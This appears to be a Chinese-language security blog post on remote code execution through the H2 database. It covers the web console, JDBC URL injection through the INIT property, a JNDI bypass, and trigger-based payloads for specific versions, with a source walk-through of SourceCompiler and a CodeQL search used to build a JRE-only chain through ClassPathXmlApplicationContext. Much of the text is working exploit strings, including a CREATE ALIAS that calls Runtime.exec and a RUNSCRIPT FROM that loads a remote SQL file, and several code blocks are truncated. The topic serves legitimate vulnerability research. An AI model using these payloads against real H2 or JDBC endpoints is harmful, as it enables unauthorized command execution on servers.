Java SQL 数据库。H2 的主要特性有:
- Very fast, open source, JDBC API非常快速、开源的 JDBC API
- Embedded and server modes; in-memory databases嵌入式和服务器模式;内存数据库
- Browser based Console application基于浏览器的控制台应用程序
- Small footprint: around 2.5 MB jar file size占用空间小:约 2.5MB 的 JAR 文件大小
h2会通过 INIT 属性启用连接时执行SQL
漏洞复现
1.4.198 (2019-02-22) 版本开始,H2不再自动创建数据库
执行sql命令
启动命令
1 | java -cp h2-1.4.200.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists |
连接后执行
1 | CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}'; |
值得注意的是这段Java代码是需要通过javac编译的,如果是jre的环境下就无法利用。JDK是用于java程序的开发,而jre则是只能运行class而没有编译的功能。
JDBC
这需要控制sql语句还是有点困难的,那如何像之前那样起一个恶意服务来进行命令执行呢?
1 | jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://127.0.0.1/h2.sql' |
那执行命令可以反弹shell,如果不出网应该如何利用呢?
高版本绕过
JNDI
影响版本<2.0.206
修改Driver Class为javax.naming.InitialContext
看到org.h2.util.JdbcUtils#getConnection(java.lang.String, java.lang.String, java.util.Properties)
如果为javax.naming.InitialContext
就会调用lookup
FORBID_CREATION
当
ifExists
等于true时,则执行databaseUrl += ";FORBID_CREATION=TRUE";
,意味着在连接字符串后面增加一个新的属性FORBID_CREATION
,值为TRUE,即禁止创建数据库。
通过\转义拼接过后的\;FORBID_CREATION=TRUE
就是一个变量的值了。
后面不出网绕过的利用就是这个思路。
不出网利用
javascript收到JDK版本限制。Nashorn JavaScript 引擎在JDK15后被废除。
<1.4.198
1 | jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript |
1.4.198<=&&<2.0.202
1 | jdbc:h2:mem:test;MODE=MSSQLServer;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript |
2.0.202<=&&<2.1.210
1 | jdbc:h2:mem:test;MODE=MSSQLServer;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript |
高版本JDK与JRE下利用
h2自身的Trigger功能
JDK15之后没有了
之前js代码得以执行是因为类org.h2.util.SourceCompiler
Java
- 可以通过
javacCompile
方法调用javac
命令进行编译,也可以通过javaxToolsJavac
方法使用javax.tools.JavaCompiler
进行编译。 - 编译后的类可以被加载,在
getClass
方法中,当处理非 Groovy 等其他语言的代码时,会尝试编译并加载 Java 类。
Groovy(需要引入依赖)
- 通过
isGroovySource
方法判断源代码是否为 Groovy 代码(以//groovy
或@groovy
开头)。 - 如果是 Groovy 代码,在
getClass
方法中会调用GroovyCompiler.parseClass
方法来解析和编译 Groovy 代码,并加载生成的类。
JavaScript:
- 通过
isJavascriptSource
方法判断源代码是否为 JavaScript 代码(以//javascript
开头)。 - 在
getCompiledScript
方法中,如果是 JavaScript 代码,会使用ScriptEngineManager
获取 JavaScript 脚本引擎,并编译脚本。
Ruby
- 通过
isRubySource
方法判断源代码是否为 Ruby 代码(以#ruby
开头)。 - 在
getCompiledScript
方法中,如果是 Ruby 代码,会使用ScriptEngineManager
获取 Ruby 脚本引擎,并编译脚本。
那么可以通过传入java代码被编译后执行。
1 | package org.example.h2jdbc; |
传入被处理后org.h2.command.ddl.CreateTrigger#update
的triggerSource为构造好的代码。
调用org.h2.schema.TriggerObject#setTriggerSource
再进入org.h2.schema.TriggerObject#setTriggerAction
通过org.h2.schema.TriggerObject#loadFromSource
将数据拿去编译成代码。
一步步进去看到拼接好的代码被拿去编译了。
最后还是回到org.h2.schema.TriggerObject#loadFromSource
通过其中利用反射调用到恶意方法。
调用堆栈
1 | getClass:136, SourceCompiler (org.h2.util) |
引用已知的 Java 静态方法
顺便学习CodeQL的使用。
当只有JRE的环境下,那传入Java代码就无法被编译,那么之前的利用就会被限制,这个时候可以使用ClassPathXmlApplicationContext
这个类。
h2的sql语句CREATE ALIAS ... FOR
ClassPathXmlApplicationContext并不是静态方法所以不能直接利用。
通过org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])
正好这是一个静态 Java 方法。反射创建ClassPathXmlApplicationContext加载恶意xml文件。但是传入的不能为string要为object类型。
这时候需要寻找一个方法来进行类型的转换。
CodeQL for Java and Kotlin — CodeQL
codeQL基本查询结构
1 | import /*codeQL库或者模块,如果查询java就定义为java*/ |
着重看一下where后面的条件
结合上述分析我们需要找一个静态,单个变量,输入为string,输出为object的方法。
这个方法将字符串转换为普通字符串或字节数组
1 | /** |
执行的sql语句
1 | CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'; |
evil.xml
1 |
|
还发现一种传参的方式如何执行命令。
结合上传文件的方式可以这样加载本地sql文件
1 | package org.example.h2jdbc; |
参考:
https://h2database.com/html/main.html
https://exp10it.io/2025/03/h2-rce-in-jre-17/
https://xz.aliyun.com/news/13371
https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
https://www.leavesongs.com/PENETRATION/jdbc-injection-with-hertzbeat-cve-2024-42323.html
https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html